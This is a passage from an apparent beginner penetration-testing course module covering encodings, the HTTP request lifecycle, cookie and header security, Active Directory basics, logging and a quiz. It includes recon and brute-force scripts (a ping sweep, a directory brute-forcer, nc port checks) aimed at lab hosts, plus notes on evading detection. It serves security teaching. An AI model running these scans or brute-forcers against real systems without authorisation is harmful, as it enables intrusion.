β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ ROT13        β”‚ nqzva                        β”‚ echo "nqzva" | tr 'a-zA-Z'    β”‚
β”‚              β”‚                              β”‚   'n-za-mN-ZA-M' β†’ admin      β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
# Quick decode commands:
echo "YWRtaW46cGFzc3dvcmQ=" | base64 -d                          # Base64
python3 -c "import urllib.parse; print(urllib.parse.unquote('%41'))"  # URL
echo "68656c6c6f" | xxd -r -p                                     # Hex
echo "nqzva" | tr 'a-zA-Z' 'n-za-mN-ZA-M'                        # ROT13

# CyberChef (in your browser) handles ALL of these and more:
# https://gchq.github.io/CyberChef/
# Drag operations into the "Recipe" and it auto-decodes
πŸ’‘ Pro tip: When you see suspicious strings in CTFs, try Base64 first (look for = padding or all alphanumeric + /+), then hex (all 0-9 a-f, even length), then ROT13. CyberChef's "Magic" operation auto-detects encoding β€” drag the string in and click Magic.

🌍 How the Web Works

Most pentesting starts with a web application. Understanding HTTP is non-negotiable.

The Full HTTP Request Lifecycle

When you type a URL into your browser and hit Enter, a surprising amount happens behind the scenes. Here's the complete sequence β€” and every step is a potential attack surface:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”                                                    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ BROWSER β”‚                                                    β”‚  SERVER  β”‚
β””β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”˜                                                    β””β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”˜
     β”‚                                                               β”‚
     β”‚  1. DNS RESOLUTION                                            β”‚
     β”‚  "What IP is target.htb?"                                     β”‚
     β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Ί DNS Server              β”‚
     │◄─────────────────────────────────────  "10.10.10.42"          β”‚
     β”‚  ⚠ Attack: DNS spoofing, cache poisoning                      β”‚
     β”‚                                                               β”‚
     β”‚  2. TCP THREE-WAY HANDSHAKE                                   β”‚
     β”œβ”€β”€β”€β”€ SYN ─────────────────────────────────────────────────────►│
     │◄─── SYN-ACK ────────────────────────────────────────────────  β”‚
     β”œβ”€β”€β”€β”€ ACK ─────────────────────────────────────────────────────►│
     β”‚  ⚠ Attack: SYN flood, TCP reset, port scanning               β”‚
     β”‚                                                               β”‚
     β”‚  3. TLS HANDSHAKE (if HTTPS)                                  β”‚
     β”œβ”€β”€β”€β”€ ClientHello (supported ciphers) ────────────────────────►│
     │◄─── ServerHello + Certificate ──────────────────────────────  β”‚
     β”œβ”€β”€β”€β”€ Key Exchange + Finished ────────────────────────────────►│
     │◄─── Finished ───────────────────────────────────────────────  β”‚
     β”‚  ⚠ Attack: SSL stripping, MITM, downgrade attacks            β”‚
     β”‚                                                               β”‚
     β”‚  4. HTTP REQUEST                                              β”‚
     β”œβ”€β”€β”€β”€ GET /dashboard HTTP/1.1 ────────────────────────────────►│
     β”‚      Host: target.htb                                         β”‚
     β”‚      Cookie: session=abc123                                   β”‚
     β”‚  ⚠ Attack: SQLi, XSS, SSRF, IDOR, command injection          β”‚
     β”‚                                                               β”‚
     β”‚  5. SERVER PROCESSING                                         β”‚
     β”‚      Route request β†’ Auth check β†’ Query DB β†’ Build response   β”‚
     β”‚  ⚠ Attack: Auth bypass, logic flaws, race conditions          β”‚
     β”‚                                                               β”‚
     β”‚  6. HTTP RESPONSE                                             β”‚
     │◄─── HTTP/1.1 200 OK ────────────────────────────────────────  β”‚
     β”‚      Content-Type: text/html                                  β”‚
     β”‚      Set-Cookie: session=xyz789                               β”‚
     β”‚      <html>...</html>                                         β”‚
     β”‚  ⚠ Attack: Header injection, cookie theft, info disclosure    β”‚
     β”‚                                                               β”‚
     β”‚  7. BROWSER RENDERING                                         β”‚
     β”‚      Parse HTML β†’ Load CSS/JS β†’ Execute scripts β†’ Display     β”‚
     β”‚  ⚠ Attack: XSS (reflected/stored/DOM), clickjacking          β”‚
     β”‚                                                               β”‚
     β–Ό                                                               β–Ό
🎯 Key insight: Every interview ever asks "what happens when you type a URL and press Enter?" Now you know β€” and you also know where attacks live at each step. DNS can be spoofed, TCP can be hijacked, TLS can be downgraded, HTTP requests can be injected, server logic can be abused, responses can leak info, and client-side rendering can execute attacker-controlled scripts.

HTTP Request/Response Cycle

# A typical HTTP request
GET /login HTTP/1.1
Host: target.htb
User-Agent: Mozilla/5.0
Cookie: session=abc123
Accept: text/html

# A typical HTTP response
HTTP/1.1 200 OK
Server: nginx/1.14.2
Content-Type: text/html
Set-Cookie: session=xyz789

<html>...</html>

Key Concepts

  • Methods: GET (read), POST (submit), PUT (update), DELETE (remove), PATCH (partial update), OPTIONS (what's allowed?), HEAD (headers only)
  • Status codes: 200 (OK), 301/302 (redirect), 400 (bad request), 401 (unauthorized), 403 (forbidden), 404 (not found), 405 (method not allowed), 500 (server error), 502 (bad gateway)
  • Headers: Leak server info (Server, X-Powered-By), control caching, manage sessions, enforce security (CSP, CORS, X-Frame-Options)
  • Cookies: How the server remembers who you are. Stealing cookies = session hijacking. Look for: HttpOnly (can't access via JS), Secure (HTTPS only), SameSite (CSRF protection)
  • HTTPS: HTTP over TLS. Encrypts the entire conversation. Without it, everything (including passwords) travels in plaintext.
πŸ’‘ Pro tip: Always check response headers. Server: Apache/2.4.49 tells you the exact version β€” and whether known CVEs apply. X-Powered-By: PHP/7.4.3 reveals the backend technology. X-Debug-Token might expose Symfony's profiler. These details guide your entire attack strategy.

The Full Request Lifecycle β€” What Happens When You Visit a URL

Every time you type a URL and press Enter, a chain of events fires. Understanding this chain is critical because you'll attack different links in it:

  YOUR BROWSER                      THE INTERNET                    TARGET SERVER
  ════════════                      ════════════                    ═════════════
       β”‚
       β”‚  1. DNS Lookup
       │─────────────────────────►  DNS Server
       β”‚                            "What IP is target.htb?"
       │◄─────────────────────────  "It's 10.10.10.42"
       β”‚
       β”‚  2. TCP Three-Way Handshake
       │──── SYN ────────────────────────────────────────────────►│
       │◄─── SYN-ACK ───────────────────────────────────────────│
       │──── ACK ────────────────────────────────────────────────►│
       β”‚                                                          β”‚
       β”‚  3. TLS Handshake (if HTTPS)                             β”‚
       │──── ClientHello (ciphers, TLS version) ────────────────►│
       │◄─── ServerHello + Certificate ──────────────────────────│
       │──── Key Exchange ──────────────────────────────────────►│
       │◄─── Finished ──────────────────────────────────────────│
       β”‚     [Encrypted tunnel established]                       β”‚
       β”‚                                                          β”‚
       β”‚  4. HTTP Request                                         β”‚
       │──── GET /login HTTP/1.1 ───────────────────────────────►│
       β”‚     Host: target.htb                                     β”‚
       β”‚     Cookie: session=abc123                               β”‚
       β”‚                                                          β”‚
       β”‚  5. Server Processing                                    β”‚
       β”‚     (routing β†’ auth check β†’ database query β†’ template    β”‚
       β”‚      rendering β†’ response building)                      β”‚
       β”‚                                                          β”‚
       β”‚  6. HTTP Response                                        β”‚
       │◄─── HTTP/1.1 200 OK ──────────────────────────────────│
       β”‚     Set-Cookie: session=xyz789                           β”‚
       β”‚     <html>...</html>                                    β”‚
       β”‚                                                          β”‚
       β”‚  7. Browser Rendering                                    β”‚
       β”‚     (parse HTML β†’ fetch CSS/JS/images β†’ execute JS β†’     β”‚
       β”‚      render page)                                        β”‚
       β–Ό

Where attacks happen in this chain:

  • Step 1 (DNS): DNS poisoning, subdomain takeover, zone transfers
  • Step 2 (TCP): Port scanning, SYN floods, connection reset attacks
  • Step 3 (TLS): SSL stripping, certificate impersonation, downgrade attacks
  • Step 4 (Request): Parameter injection (SQLi, XSS, SSTI), header manipulation
  • Step 5 (Processing): Server-side vulnerabilities, SSRF, deserialization, auth bypass
  • Step 6 (Response): Missing security headers, information leakage, cookie theft
  • Step 7 (Rendering): DOM XSS, client-side template injection, clickjacking

Cookie Security Flags β€” What to Look For

When you intercept cookies in Burp Suite, check every flag. Missing flags = vulnerabilities:

  • HttpOnly β€” Cookie can't be accessed by JavaScript (document.cookie). If missing: XSS can steal the session cookie.
  • Secure β€” Cookie only sent over HTTPS. If missing: attacker on the network can sniff the cookie over HTTP.
  • SameSite=Strict β€” Cookie never sent with cross-site requests. Strongest CSRF protection.
  • SameSite=Lax β€” Cookie sent with top-level navigations (clicking links) but not with POST forms or AJAX from other sites. Default in modern browsers. Blocks most CSRF.
  • SameSite=None β€” Cookie sent with all cross-site requests (requires Secure flag). Vulnerable to CSRF if no other protections exist.
  • Domain β€” Which domains receive the cookie. Overly broad domains (e.g., .example.com) let subdomains access the cookie β€” subdomain takeover becomes session hijacking.
  • Path β€” Which URL paths receive the cookie. Usually / (all paths).
  • Expires / Max-Age β€” How long the cookie lives. No expiry = session cookie (deleted when browser closes). Long-lived auth cookies are juicier targets for theft.
# Example cookie header to analyze:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600

# Red flags in the wild:
Set-Cookie: admin_token=xyz789                    # ❌ No HttpOnly, no Secure, no SameSite
Set-Cookie: auth=secret; Domain=.example.com      # ❌ Broad domain, all subdomains get it
Set-Cookie: JSESSIONID=abc; Secure                # ⚠️  HttpOnly missing β€” XSS can steal it

Security Headers β€” What's Missing Matters

Response headers tell browsers how to behave. Missing security headers are findings in every pentest report:

  • Content-Security-Policy (CSP) β€” Controls what resources the page can load (scripts, styles, images, frames). A strong CSP blocks XSS by preventing inline scripts and unauthorized script sources. No CSP = XSS is easier to exploit.
  • Strict-Transport-Security (HSTS) β€” Forces HTTPS for all future visits. max-age=31536000; includeSubDomains means the browser won't even try HTTP for a year. Missing = SSL stripping attacks possible.
  • X-Frame-Options β€” Controls whether the page can be embedded in an iframe. DENY or SAMEORIGIN prevents clickjacking. Missing = clickjacking possible.
  • X-Content-Type-Options β€” Set to nosniff. Prevents the browser from MIME-type guessing (which can turn uploaded .txt files into executable HTML). Always should be present.
  • Referrer-Policy β€” Controls what URL information is sent in the Referer header. no-referrer or strict-origin prevents leaking URL paths (which might contain tokens or sensitive data).
  • Permissions-Policy β€” Controls browser features like camera, microphone, geolocation, and payment APIs. Limits what malicious scripts can access even if XSS succeeds.
# Quickly check security headers with curl:
curl -sI https://target.htb | grep -iE "content-security|strict-transport|x-frame|x-content-type|referrer-policy|permissions-policy"

# Or use securityheaders.com for a visual report
# Missing headers = findings for your pentest report

HTTP Authentication Mechanisms

  • Basic Auth: Username:password base64-encoded in the Authorization header. Trivially decoded (not encrypted!).
  • Bearer Tokens: Authorization: Bearer <token> β€” usually a JWT or OAuth token.
  • Session Cookies: Server creates a session, gives you a cookie ID. The actual data lives server-side.
  • API Keys: Passed as a header (X-API-Key) or query parameter. Static, often shared, frequently leaked.

πŸ›‘οΈ Security Fundamentals β€” The Core Concepts

Before you start breaking things, you need to understand what you're protecting (and what attackers target). These concepts come up in every interview, certification, and real engagement.

The CIA Triad

Every security discussion ultimately maps back to three properties:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                       THE CIA TRIAD                                 β”‚
β”‚                                                                     β”‚
β”‚               β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                              β”‚
β”‚               β”‚   CONFIDENTIALITY    β”‚                              β”‚
β”‚               β”‚  Only authorized     β”‚                              β”‚
β”‚               β”‚  people can READ     β”‚                              β”‚
β”‚               β”‚  the data            β”‚                              β”‚
β”‚               β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                              β”‚
β”‚                         β”‚                                           β”‚
β”‚            β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                              β”‚
β”‚            β”‚                         β”‚                              β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                  β”‚
β”‚  β”‚     INTEGRITY      β”‚  β”‚    AVAILABILITY      β”‚                  β”‚
β”‚  β”‚  Only authorized   β”‚  β”‚  Data and systems    β”‚                  β”‚
β”‚  β”‚  people can CHANGE β”‚  β”‚  are ACCESSIBLE when β”‚                  β”‚
β”‚  β”‚  the data          β”‚  β”‚  needed              β”‚                  β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                  β”‚
β”‚                                                                     β”‚
β”‚  Attack examples:                                                   β”‚
β”‚  C: Data breach, eavesdropping, credential theft                   β”‚
β”‚  I: SQLi modifying data, file tampering, MITM                     β”‚
β”‚  A: DDoS, ransomware, resource exhaustion                          β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Why this matters for pentesting: Every vulnerability you find maps to at least one of these. SQL injection that dumps user data? Confidentiality breach. XSS that modifies page content? Integrity violation. DoS vulnerability? Availability impact. When writing reports, classify findings by which CIA property they violate β€” it helps clients prioritize fixes.

Threat Modeling Basics

Threat modeling means thinking like an attacker: "What's valuable here? How would I get to it? What stops me?"

  • Attack surface: Everything exposed to potential attackers. Open ports, web endpoints, APIs, login forms, file upload fields, user input fields. Bigger attack surface = more ways in.
  • Threat actors: Who might attack? Script kiddies (automated tools), hacktivists (ideology), organized crime (money), nation-states (espionage), insiders (disgruntled employees).
  • Risk = Likelihood Γ— Impact: A critical RCE on an internal dev server is lower risk than a medium SQLi on the main customer database. Context matters.
πŸ’‘ Interview tip: "What's the CIA triad?" and "How do you prioritize findings?" are two of the most common security interview questions. Know these cold.

πŸ—οΈ Windows & Active Directory Primer

Most of the internet's servers run Linux, but most corporate networks run Windows with Active Directory. If you want to do internal pentesting (and you do β€” that's where the money is), you need to understand these concepts before Phase 5 digs deep into AD attacks.

Active Directory β€” What It Actually Is

Active Directory (AD) is Microsoft's directory service. Think of it as a massive database that stores everything about a corporate network: users, computers, groups, permissions, policies. When an employee logs into their work laptop, AD handles the authentication.

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    ACTIVE DIRECTORY OVERVIEW                         β”‚
β”‚                                                                     β”‚
β”‚  FOREST (top-level boundary)                                        β”‚
β”‚  └── DOMAIN (e.g., corp.example.com)                               β”‚
β”‚      β”œβ”€β”€ DOMAIN CONTROLLER (DC) β€” the server running AD            β”‚
β”‚      β”‚   β”œβ”€β”€ Stores all user accounts, passwords (hashes)          β”‚
β”‚      β”‚   β”œβ”€β”€ Handles authentication (Kerberos)                      β”‚
β”‚      β”‚   β”œβ”€β”€ Enforces Group Policy (GPO)                           β”‚
β”‚      β”‚   └── DNS server (AD-integrated)                             β”‚
β”‚      β”œβ”€β”€ USERS                                                      β”‚
β”‚      β”‚   β”œβ”€β”€ Regular users β†’ Domain Users group                    β”‚
β”‚      β”‚   β”œβ”€β”€ Administrators β†’ Domain Admins group                  β”‚
β”‚      β”‚   └── Service accounts β†’ often overprivileged               β”‚
β”‚      β”œβ”€β”€ COMPUTERS β†’ all domain-joined machines                    β”‚
β”‚      β”œβ”€β”€ GROUPS β†’ collections of users with shared permissions     β”‚
β”‚      └── ORGANIZATIONAL UNITS (OUs) β†’ folders for organizing       β”‚
β”‚                                                                     β”‚
β”‚  Authentication protocols:                                          β”‚
β”‚  β”œβ”€β”€ Kerberos (default, ticket-based, port 88)                     β”‚
β”‚  β”œβ”€β”€ NTLM (legacy, hash-based, fallback)                           β”‚
β”‚  └── LDAP (directory queries, port 389/636)                        β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Key AD concepts you'll need:

  • Kerberos: The default authentication protocol. Users request tickets (TGT) from the Key Distribution Center (KDC) running on the Domain Controller. These tickets prove identity without sending passwords. Attackers target Kerberos with Kerberoasting, AS-REP Roasting, Golden/Silver Ticket attacks.
  • NTLM: Older authentication protocol that uses password hashes. Still widely used as a fallback. Pass-the-Hash attacks work because NTLM authenticates with the hash itself, not the password.
  • LDAP: Protocol for querying the AD database. When you enumerate users, groups, and computers in AD, you're usually making LDAP queries. Often a target for injection attacks (LDAP injection).
  • Group Policy Objects (GPOs): Rules pushed from the DC to all domain computers. Control everything from password policies to what software gets installed. Misconfigurations here are goldmines for pentesters.
  • Service Principal Names (SPNs): Associate a service with a user account. When a service account has an SPN, any domain user can request its Kerberos ticket β€” and try to crack the password offline (Kerberoasting).
🎯 Why AD matters: In real-world pentests, getting Domain Admin is usually the end goal. Almost every internal engagement involves AD in some way. Phase 5 covers AD attacks in detail β€” this section gives you the vocabulary to understand what those attacks actually target.

🐍 Scripting & Automation Basics

You can get surprisingly far with just manual commands, but eventually you'll need to automate things: parsing tool output, brute-forcing custom login forms, chaining multiple steps together. You don't need to be a software engineer β€” just comfortable enough to read and modify scripts.

Bash Scripting β€” Essential for Every Pentester

#!/bin/bash
# Quick subnet scanner β€” ping every IP in a /24
# Usage: ./pingsweep.sh 10.10.10

if [ -z "$1" ]; then
    echo "Usage: $0 <first 3 octets>"
    echo "Example: $0 10.10.10"
    exit 1
fi

for ip in $(seq 1 254); do
    ping -c 1 -W 1 $1.$ip 2>/dev/null | grep "bytes from" | cut -d" " -f4 | tr -d ":" &
done
wait    # Wait for all background pings to finish
# One-liners you'll use constantly
# Extract IPs from nmap output
grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' nmap_output.txt | sort -u

# Extract URLs from a file
grep -oP 'https?://[^\s"'"'"'<>]+' page.html | sort -u

# Loop through a list of hosts
while read host; do
    echo "Scanning $host..."
    nmap -sV -p 80,443 "$host" >> results.txt
done < hosts.txt

# Quick port check across multiple targets
for ip in $(cat targets.txt); do
    nc -zv $ip 445 2>&1 | grep succeeded
done

Python β€” For Custom Tools and Exploit Modification

#!/usr/bin/env python3
"""Simple directory brute-forcer β€” shows the concept"""
import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "http://target"
wordlist = "/usr/share/seclists/Discovery/Web-Content/common.txt"

with open(wordlist) as f:
    for word in f:
        url = f"{target}/{word.strip()}"
        try:
            r = requests.get(url, timeout=3)
            if r.status_code != 404:
                print(f"[{r.status_code}] {url}")
        except requests.exceptions.RequestException:
            pass
# Python skills you'll need:
# 1. Reading/writing files
# 2. Making HTTP requests (requests library)
# 3. Parsing JSON responses
# 4. Socket programming basics (for custom exploits)
# 5. String manipulation (base64, hex encoding)
# 6. Modifying existing exploits from ExploitDB

# Install useful libraries in Kali
pip3 install requests pwntools
python3 -m pipx install impacket    # pipx preferred for impacket
πŸ’‘ Real talk: You don't need to write tools from scratch. Most pentesters modify existing scripts. The skill is reading Python well enough to understand what an exploit does, change the target/payload, and debug when it doesn't work. Start by reading ExploitDB scripts and understanding each line.

πŸ“Š Detection & Logging Fundamentals

Understanding how defenders see your attacks makes you a better attacker. If you know what gets logged, you can be stealthier. And if you ever move to blue team or purple team roles, this knowledge is essential.

  • Linux logs: /var/log/auth.log (SSH, sudo attempts), /var/log/syslog (system events), /var/log/apache2/access.log (web requests). Every failed SSH login you attempt gets logged here.
  • Windows Event Logs: Security.evtx (logon events, failed auth), System.evtx (service starts/stops), Application.evtx. Event ID 4625 = failed logon. Event ID 4624 = successful logon. These are what SOC analysts monitor.
  • Sysmon: Microsoft tool that logs process creation, network connections, file creation, registry changes. If Sysmon is running on a target, your every move is recorded. Check with Get-Process sysmon* on Windows targets.
  • Web server logs: Every Gobuster scan, SQLi attempt, and directory brute-force shows up in web server access logs. Blue teams use these to detect and block your attacks.
# What defenders see when you scan with Nmap
# In /var/log/auth.log on the target:
Feb 8 12:00:01 target sshd[1234]: Connection from 10.10.14.5 port 54321
Feb 8 12:00:01 target sshd[1234]: Invalid user admin from 10.10.14.5

# What defenders see when you brute-force with Hydra
# Hundreds of failed logins in rapid succession:
Feb 8 12:00:02 target sshd[1235]: Failed password for admin from 10.10.14.5
Feb 8 12:00:02 target sshd[1236]: Failed password for admin from 10.10.14.5
Feb 8 12:00:02 target sshd[1237]: Failed password for admin from 10.10.14.5
# This is VERY obvious to any monitoring system
🎯 Why this matters now: Phase 6 (Blue Team) goes deep into defensive techniques. This introduction helps you understand that your attacks aren't invisible β€” they leave traces. On CTF boxes nobody's watching, but on real engagements, defenders are actively hunting for exactly the traffic patterns your tools generate.

πŸ‹οΈ Practical Exercises

  1. Packet capture: Open Wireshark, browse to a non-HTTPS site (e.g., http://httpbin.org), and identify the TCP handshake, HTTP request, and response. Find the SYN, SYN-ACK, ACK packets.
  2. DNS exploration: Use dig to query A, MX, TXT, and NS records for any domain. Try a zone transfer against zonetransfer.me (it's intentionally vulnerable).
  3. Hash cracking: Generate an MD5 hash of "password123" with echo -n "password123" | md5sum. Then crack it with hashcat or john.
  4. HTTP inspection: Use curl -v to make requests to different sites. Identify cookies, redirects, and server headers.
  5. Linux challenge: Complete all 34 levels of OverTheWire Bandit (overthewire.org/wargames/bandit/).
  6. ARP table: Run arp -a on your machine and identify what each entry represents.
  7. JWT decode: Go to jwt.io, paste a sample token, and understand the three sections. Try modifying the payload.

βœ… Key Concepts Checklist

Can you explain these without looking them up?

  • What happens during a TCP three-way handshake?
  • What's the difference between TCP and UDP? Name two services for each.
  • What do the SYN, ACK, RST, and FIN flags mean?
  • How does ARP work and why is it vulnerable to spoofing?
  • What's the difference between symmetric and asymmetric encryption?
  • Why are hashes "one-way" and how do we crack them anyway?
  • What's the TLS handshake and why does Burp Suite need its CA cert installed?
  • What's the difference between authentication and authorization?
  • How does DNS resolution work, from query to response?
  • What's CIDR notation and what does /24 mean?
  • Name three HTTP methods and three status codes with their meanings.
  • What's the difference between a session cookie and a JWT?

🎀 Common Interview Questions

  • "Explain the OSI model and which layers are most relevant to penetration testing."
  • "What happens when you type a URL into a browser and press Enter?" (DNS lookup β†’ TCP handshake β†’ TLS handshake β†’ HTTP request β†’ server processing β†’ response β†’ rendering)
  • "What's the difference between encryption and hashing?"
  • "How would you explain a man-in-the-middle attack to a non-technical person?"
  • "What is the CIA triad?" (Confidentiality, Integrity, Availability)
  • "What's the difference between a vulnerability, an exploit, and a payload?"
  • "Explain how HTTPS protects data in transit."

πŸ“š Resources for This Phase

πŸ“

Phase 1 Checkpoint

0 / 8
Put the steps of the TCP three-way handshake in the correct order:
Client sends ACK β†’ Connection established
Client sends SYN β†’ "Can we talk?"
Server responds with SYN-ACK β†’ "Sure, let's talk"
The TCP three-way handshake: SYN β†’ SYN-ACK β†’ ACK. The client initiates with SYN, the server acknowledges with SYN-ACK, and the client confirms with ACK. Only then is the connection established. Nmap's SYN scan exploits this by sending SYN, receiving SYN-ACK (confirming the port is open), then sending RST instead of ACK β€” never completing the handshake.
You intercept a hash that looks like this: e99a18c428cb38d5f260853678922e03 (32 hex characters, no salt). What type of hash is this most likely?
32 hex characters = 128-bit hash = MD5. While NTLM hashes are also 32 hex chars (MD4-based), the context matters β€” NTLM hashes are typically found on Windows systems. SHA-256 is 64 hex chars, and bcrypt starts with $2b$. Being able to identify hash types by format is a critical pentesting skill.
What's the difference between encryption and hashing?
Encryption is reversible β€” with the correct key, you can decrypt ciphertext back to plaintext. Hashing is a one-way function β€” you cannot mathematically reverse a hash to get the original input. We "crack" hashes by trying inputs until we find a match, not by reversing the algorithm. That's why password-specific hashes (bcrypt, argon2) are intentionally slow β€” to make cracking harder.
Which HTTP status code means the server understood your request but you don't have permission to access the resource?
403 Forbidden means the server knows who you are (or doesn't care) but won't let you access the resource. 401 Unauthorized actually means "unauthenticated" β€” you need to prove your identity first. This distinction matters: 403 means authentication won't help (you need different privileges), while 401 means you should provide credentials.
A JWT (JSON Web Token) has three parts separated by dots. What are they?
A JWT consists of: Header (algorithm and token type), Payload (the claims/data, like username and roles), and Signature (verifies the token hasn't been tampered with). Each part is base64-encoded. Common JWT attacks include changing the algorithm to "none" (removing signature verification), brute-forcing weak HMAC secrets, and algorithm confusion (RS256 β†’ HS256).
You need to search for the word "password" in all files recursively from the current directory. Complete the command:
Fill in the blank:
$  "password" .
grep -r (or grep -ri for case-insensitive) searches recursively through all files in the given directory. The -r flag means recursive. In pentesting, you'll use this constantly to search for passwords, credentials, API keys, and other secrets in configuration files and source code.
Scenario: You're on a network with the IP range 10.10.10.0/24. Your machine is 10.10.14.5 and the target is 10.10.10.42. You try ping 10.10.10.42 and get no response. What should you do?
Many boxes block ICMP (ping), so no ping response doesn't mean the host is down! Use nmap -Pn to skip host discovery and scan anyway. The -Pn flag tells Nmap to treat the host as alive regardless of ping responses. This is one of the most common beginner mistakes β€” giving up on a target just because it doesn't respond to ping.
What command would you use to add a custom hostname entry so that target.htb resolves to 10.10.10.42?
Adding entries to /etc/hosts overrides DNS for specific hostnames. The standard approach: echo "10.10.10.42 target.htb" | sudo tee -a /etc/hosts. This is essential for HTB machines that use virtual hosting β€” the web server serves different content based on the hostname in the HTTP Host header.
← Phase 0: Lab Setup All Phases Phase 2: Reconnaissance β†’